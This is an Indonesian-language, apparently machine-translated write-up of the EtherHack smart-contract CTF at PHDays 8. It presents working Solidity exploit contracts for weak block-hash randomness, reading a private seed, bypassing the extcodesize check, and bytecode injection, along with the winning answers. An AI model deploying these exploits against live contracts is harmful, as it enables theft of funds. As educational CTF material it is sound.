Menemukan Kerentanan dalam Kontrak Cerdas: Ulasan EtherHack di Positive Hack Days 8

gambar

Tahun ini, PHDays menjadi tuan rumah kompetisi yang disebut EtherHack untuk pertama kalinya. Peserta mencari kerentanan dalam kontrak pintar untuk kecepatan. Dalam artikel ini kami akan memberi tahu Anda tentang tugas-tugas kompetisi dan kemungkinan cara untuk menyelesaikannya.

Azino 777


Menangkan lotre dan memecahkan pot!


Tiga tugas pertama terkait dengan kesalahan dalam pembuatan nomor pseudorandom, yang baru-baru ini kita bicarakan: Memprediksi angka acak dalam kontrak pintar Ethereum . Tugas pertama didasarkan pada generator nomor pseudorandom (PRNG), yang menggunakan hash dari blok terakhir sebagai sumber entropi untuk menghasilkan angka acak:

pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } } //Generate random number between 0 & max uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max; } function() public payable {} } 

Karena hasil dari memanggil fungsi block.blockhash(block.number-1) akan sama untuk setiap transaksi dalam blok yang sama, serangan dapat menggunakan kontrak exploit dengan fungsi rand() sama untuk memanggil kontrak target melalui pesan internal:

 function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } 

Ryan pribadi


Kami telah menambahkan nilai awal pribadi yang tidak akan pernah dihitung oleh siapa pun.


Tugas ini adalah versi yang sedikit rumit dari yang sebelumnya. Variabel seed, yang dianggap pribadi, digunakan untuk mengimbangi nomor urut blok (block.number) sehingga hash blok tidak bergantung pada blok sebelumnya. Setelah setiap taruhan, seed ditulis ulang ke offset β€œacak” baru. Sebagai contoh, dalam lotre Slotthereum itu hanya itu.

 contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } /* ... */ } 

Seperti pada tugas sebelumnya, peretas hanya perlu menyalin fungsi rand() ke dalam exploit kontrak, tetapi dalam kasus ini nilai seed variabel pribadi harus diperoleh di luar blockchain dan kemudian dikirim ke exploit sebagai argumen. Untuk melakukan ini, Anda bisa menggunakan metode web3.eth.getStorageAt () dari perpustakaan web3:

gambar

Membaca toko kontrak di luar blockchain untuk mendapatkan nilai awal

Setelah menerima nilai awal, tetap hanya mengirimnya ke exploit, yang hampir identik dengan yang ada di tugas pertama:

 contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } /* ... */ } 

Roda keberuntungan


Lotre ini menggunakan hash dari blok selanjutnya. Coba hitung!


Dalam tugas ini, perlu untuk mengetahui hash dari blok yang nomornya disimpan dalam struktur Game setelah taruhan ditempatkan. Hash ini kemudian diekstraksi untuk menghasilkan angka acak setelah taruhan berikutnya dibuat.

 Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} } 

Dalam hal ini, ada dua solusi yang mungkin.

  1. Panggil kontrak target dua kali melalui kontrak eksploitasi. Hasil dari memanggil fungsi block.blockhash (block.number) akan selalu nol.
  2. Tunggu 256 blok untuk masuk dan melakukan taruhan kedua. Hash nomor urutan blok yang disimpan akan menjadi nol karena keterbatasan Ethereum Virtual Machine (EVM) pada jumlah hash blok yang tersedia.

Dalam kedua kasus, taruhan yang menang adalah uint256(keccak256(bytes32(0))) % 100 atau β€œ47”.

Panggil aku mungkin


Kontrak ini tidak suka ketika kontrak lain menyebutnya.


Salah satu cara untuk melindungi kontrak agar tidak dipanggil oleh kontrak lain adalah dengan menggunakan instruksi assembler EVM extcodesize , yang mengembalikan ukuran kontrak di alamatnya. Metode ini adalah dengan menggunakan instruksi ini untuk alamat pengirim transaksi menggunakan penyisipan assembler. Jika hasilnya lebih besar dari nol, maka pengirim transaksi adalah kontrak, karena alamat biasa di Ethereum tidak memiliki kode. Justru pendekatan inilah yang digunakan dalam tugas ini untuk mencegah kontrak lain memanggil kontrak.

 contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} } 

tx.origin transaksi tx.origin menunjuk ke pencipta asli transaksi, dan mengirim pesan ke pemanggil terakhir. Jika kami mengirim transaksi dari alamat yang biasa, variabel-variabel ini akan sama, dan kami akan berakhir dengan revert() . Oleh karena itu, untuk menyelesaikan masalah kami, perlu untuk mem-bypass verifikasi dari instruksi extcodesize sehingga tx.origin dan msg.sender berbeda. Untungnya, ada satu fitur bagus di EVM yang dapat membantu:

gambar

Memang, ketika kontrak yang baru saja ditempatkan memanggil beberapa kontrak lain dalam konstruktor, itu sendiri belum ada di blockchain, ia bertindak secara eksklusif sebagai dompet. Dengan demikian, kode tidak terikat pada kontrak baru dan extcodesize akan mengembalikan nol:

  contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} } 

Kuncinya


Anehnya, kastil ditutup. Cobalah untuk mengambil kode pin melalui fungsi buka kunci (kode byte bytes4). Setiap upaya untuk membuka kunci akan dikenakan biaya 0,5 eter.


Dalam tugas ini, para peserta tidak diberi kode - mereka harus mengembalikan logika kontrak dengan bytecode-nya. Salah satu opsi adalah menggunakan Radare2, platform yang digunakan untuk membongkar dan men - debug EVM .

Untuk memulai, kami akan memposting contoh tugas dan memasukkan kode secara acak:

 await contract.unlock("1337", {value: 500000000000000000}) β†’false 

Upaya itu tentu saja baik, tetapi tidak berhasil. Sekarang coba debug transaksi ini.

 r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7" 

Dalam hal ini, kami menginstruksikan Radare2 untuk menggunakan arsitektur evm. Alat ini kemudian menghubungkan ke node Ethereum dan mengambil jejak transaksi ini di mesin virtual. Dan sekarang, akhirnya, kami siap untuk menyelam ke bytecode EVM.

Pertama-tama, Anda perlu melakukan analisis:

 [0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa) 

Selanjutnya, kami membongkar 1000 instruksi pertama (ini harus cukup untuk menutupi seluruh kontrak) menggunakan perintah pd 1000, dan beralih untuk melihat grafik dengan perintah VV.

Dalam kode byte EVM yang dikompilasi dengan solc , biasanya manajer fungsi datang terlebih dahulu. Berdasarkan empat byte pertama dari data panggilan yang berisi tanda tangan fungsi, yang didefinisikan sebagai bytes4(sha3(function_name(params))) , manajer fungsi memutuskan fungsi mana yang dipanggil. Kami tertarik pada fungsi unlock(bytes4) , yang sesuai dengan 0x75a4e3a0 .

Mengikuti aliran eksekusi menggunakan kunci s, kita sampai ke node yang membandingkan callvalue nilai 0x6f05b59d3b20000 dengan nilai 0x6f05b59d3b20000 atau 500000000000000000 , yang setara dengan 0,5 eter:

 push8 0x6f05b59d3b20000 callvalue lt 

Jika eter yang disediakan sudah cukup, maka kita mendapati diri kita berada dalam sebuah simpul yang menyerupai struktur kontrol:

 push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi 

Kode menempatkan nilai 0x4 di bagian atas tumpukan, memeriksa batas atas (nilai tidak boleh melebihi 0xff) dan membandingkannya dengan beberapa nilai yang diduplikasi dari elemen keempat tumpukan (dup4).

Menggulir ke bagian paling bawah grafik, kita melihat bahwa elemen keempat ini pada dasarnya adalah iterator, dan struktur kontrol ini adalah loop yang sesuai dengan for(var i=0; i<4; i++):

 push1 0x1 add swap4 

Jika kita menganggap tubuh loop, menjadi jelas bahwa ia menyebutkan empat byte yang masuk dan melakukan beberapa operasi dengan masing-masing byte. Pertama, loop memeriksa bahwa byte ke-n lebih besar dari 0x30:

 push1 0x30 dup3 lt iszero 

dan juga bahwa nilai ini kurang dari 0x39:

 push1 0x39 dup3 gt iszero 

yang pada dasarnya merupakan pemeriksaan bahwa byte yang diberikan berada dalam kisaran dari 0 hingga 9. Jika pemeriksaan berhasil, maka kami berada di blok kode yang paling penting:

gambar

Mari kita hancurkan blok ini menjadi beberapa bagian:

1. Elemen ketiga dalam stack adalah kode ASCII dari byte ke-n dari kode pin. 0x30 (kode ASCII untuk nol) didorong ke tumpukan dan kemudian dikurangi dari kode byte ini:

 push1 0x30 dup3 sub 

Yaitu, pincode[i] - 48 , dan pada dasarnya kami mendapatkan angka dari kode ASCII, sebut saja d.

2. 0x4 ditambahkan ke stack dan digunakan sebagai eksponen untuk elemen kedua di stack, d:

 swap1 pop push1 0x4 dup2 exp 

Yaitu, d ** 4 .

3. Elemen kelima dari stack diambil dan hasil eksponensial ditambahkan padanya. Sebut jumlah ini S:

 dup5 add swap4 pop dup1 

Yaitu, S += d ** 4 .

4. 0xa (kode ASCII untuk 10) didorong ke stack dan digunakan sebagai pengali untuk elemen ketujuh stack (yang merupakan keenam sebelum penambahan ini). Kita tidak tahu apa itu, oleh karena itu kita akan memanggil elemen ini U. Kemudian d ditambahkan ke hasil perkalian:

 push1 0xa dup7 mul add swap5 pop 

Yaitu: U = U * 10 + d atau, lebih sederhana, ungkapan ini memulihkan seluruh kode pin sebagai angka dari masing-masing byte ([0x1, 0x3, 0x3, 0x7] β†’ 1337) .

Hal paling sulit yang kami lakukan, sekarang mari kita beralih ke kode setelah loop.

 dup5 dup5 eq 

Jika elemen kelima dan keenam pada stack sama, maka aliran eksekusi akan membawa kita ke instruksi sstore, yang menetapkan bendera tertentu di toko kontrak. Karena ini adalah satu-satunya instruksi toko, inilah yang tampaknya kami cari.

Tapi bagaimana cara melewati tes ini? Seperti yang sudah kita ketahui, elemen kelima pada stack adalah S, dan keenam adalah U. Karena S adalah jumlah dari semua digit kode pin yang dinaikkan ke kekuatan keempat, kita memerlukan kode pin yang syarat ini akan dipenuhi. Dalam kasus kami, analisis menunjukkan bahwa 1**4 + 3**4 + 3**4 + 7**4 tidak sama dengan 1337, dan kami tidak mendapatkan instruksi sstore menang.

Tetapi sekarang kita dapat menghitung angka yang memenuhi kondisi persamaan ini. Hanya ada tiga angka yang dapat ditulis sebagai jumlah digit tingkat keempat mereka: 1634, 8208, dan 9474. Setiap dari mereka dapat membuka kunci!

Kapal bajak laut


Hai Salag! Sebuah kapal bajak laut ditambatkan di pelabuhan. Buat dia jangkar dan angkat bendera dengan Jolly Roger dan pergi mencari harta karun.


Kursus standar pelaksanaan kontrak mencakup tiga tindakan:

  1. Panggilan ke fungsi dropAnchor() dengan nomor blok yang harus lebih dari 100.000 blok lebih besar dari yang sekarang. Fungsi secara dinamis membuat kontrak, yang merupakan "jangkar", yang dapat "diangkat" menggunakan selfdestruct() setelah blok yang ditentukan.
  2. Panggilan ke fungsi pullAnchor() , yang menginisiasi selfdestruct() jika waktu yang cukup telah berlalu (banyak waktu!).
  3. Sebut sailAway (), yang menetapkan blackJackIsHauled menjadi true jika tidak ada kontrak anchor.

 pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert(); // it is too early to sail away } blackJackIsHauled = true; // Yo Ho Ho! } function pullAnchor() public { require(anchor != 0x0); require(anchor.call()); // raise the anchor if the ship is ready to sail away } function dropAnchor(uint blockNumber) public returns(address addr) { // the ship will be able to sail away in 100k blocks time require(blockNumber > block.number + 100000); // if(block.number < blockNumber) { throw; } // suicide(msg.sender); uint[8] memory a; a[0] = 0x6300; // PUSH4 0x00... a[1] = blockNumber; // ...block number (3 bytes) a[2] = 0x43; // NUMBER a[3] = 0x10; // LT a[4] = 0x58; // PC a[5] = 0x57; // JUMPI a[6] = 0x33; // CALLER a[7] = 0xff; // SELFDESTRUCT uint code = assemble(a); // init code to deploy contract: stores it in memory and returns appropriate offsets uint[8] memory b; b[0] = 0; // allign b[1] = 0x6a; // PUSH11 b[2] = code; // contract b[3] = 0x6000; // PUSH1 0 b[4] = 0x52; // MSTORE b[5] = 0x600b; // PUSH1 11 ;; length b[6] = 0x6015; // PUSH1 21 ;; offset b[7] = 0xf3; // RETURN uint initcode = assemble(b); uint sz = getSize(initcode); uint offset = 32 - sz; assembly { let solidity_free_mem_ptr := mload(0x40) mstore(solidity_free_mem_ptr, initcode) addr := create(0, add(solidity_free_mem_ptr, offset), sz) } require(addr != 0x0); anchor = addr; } ///////////////// HELPERS ///////////////// function assemble(uint[8] chunks) internal pure returns(uint code) { for(uint i=chunks.length; i>0; i--) { code ^= chunks[i-1] << 8 * getSize(code); } } function getSize(uint256 chunk) internal pure returns(uint) { bytes memory b = new bytes(32); assembly { mstore(add(b, 32), chunk) } for(uint32 i = 0; i< b.length; i++) { if(b[i] != 0) { return 32 - i; } } return 0; } } 

Kerentanannya sangat jelas: kami memiliki injeksi langsung instruksi assembler ketika membuat kontrak di fungsi dropAnchor() . Tetapi kesulitan utama adalah membuat muatan yang memungkinkan kami melewati block.number . block.number .

Di EVM, Anda dapat membuat kontrak menggunakan pernyataan create. Argumennya adalah nilai, offset input, dan ukuran input. nilai adalah bytecode yang menjadi tuan rumah kontrak itu sendiri (kode inisialisasi). Dalam kasus kami, kode inisialisasi + kode kontrak ditempatkan di uint256 (terima kasih kepada tim GasToken untuk idenya):

 0x6a63004141414310585733ff600052600b6015f3 

di mana byte dalam huruf tebal adalah kode dari kontrak yang di-host, dan 414141 adalah situs injeksi. Karena kita dihadapkan pada tugas untuk menyingkirkan operator pelemparan, kita perlu memasukkan kontrak baru kita dan menulis ulang bagian akhir dari kode inisialisasi. Mari kita coba menyuntikkan kontrak dengan instruksi 0xff, yang akan mengarah pada penghapusan tanpa syarat kontrak anchor menggunakan selfdestruct() :

  68 414141ff3f3f3f3f3f ;;  kontrak push9
 60 00 ;;  push1 0
 52 ;;  mstore
 60 09 ;;  push1 9
 60 17 ;;  push1 17
 f3 ;;  kembali 

Jika kita mengonversi urutan byte ke uint256 (9081882833248973872855737642440582850680819) dan menggunakannya sebagai argumen ke fungsi dropAnchor() , kita mendapatkan nilai berikut untuk variabel kode (bytecode in bold adalah payload kami):

 0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff 

Setelah variabel kode menjadi bagian dari variabel initcode, kami mendapatkan nilai berikut:

 0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3 

Sekarang byte tinggi 0x6300 hilang, dan sisa bytecode dibuang setelah 0xf3 (return) .

gambar

Akibatnya, kontrak baru dengan logika yang diubah dibuat:

  41 ;;  coinbase
 41 ;;  coinbase
 41 ;;  coinbase
 ff ;;  merusak diri sendiri
 3f ;;  sampah
 3f ;;  sampah
 3f ;;  sampah
 3f ;;  sampah
 3f ;;  sampah 

Jika sekarang kita memanggil fungsi pullAnchor (), kontrak ini akan segera dimusnahkan, karena kami tidak lagi memiliki tanda centang pada blok. Setelah itu kita memanggil fungsi sailAway () dan merayakan kemenangan!

Hasil


  1. Tempat pertama dan siaran dalam jumlah yang setara dengan 1.000 dolar AS: Alexey Pertsev (p4lex)
  2. Tempat kedua dan Buku Besar Nano S: Alexey Markov
  3. Suvenir tempat ketiga dan PHDays: Alexander Vlasov

Semua hasil: etherhack.positive.com/#/scoreboard

gambar

Selamat kepada para pemenang dan terima kasih kepada semua peserta!

PS Terima kasih kepada Zeppelin karena membuat kode sumber platform open source Ethernaut CTF .

Source: https://habr.com/ru/post/id414959/


All Articles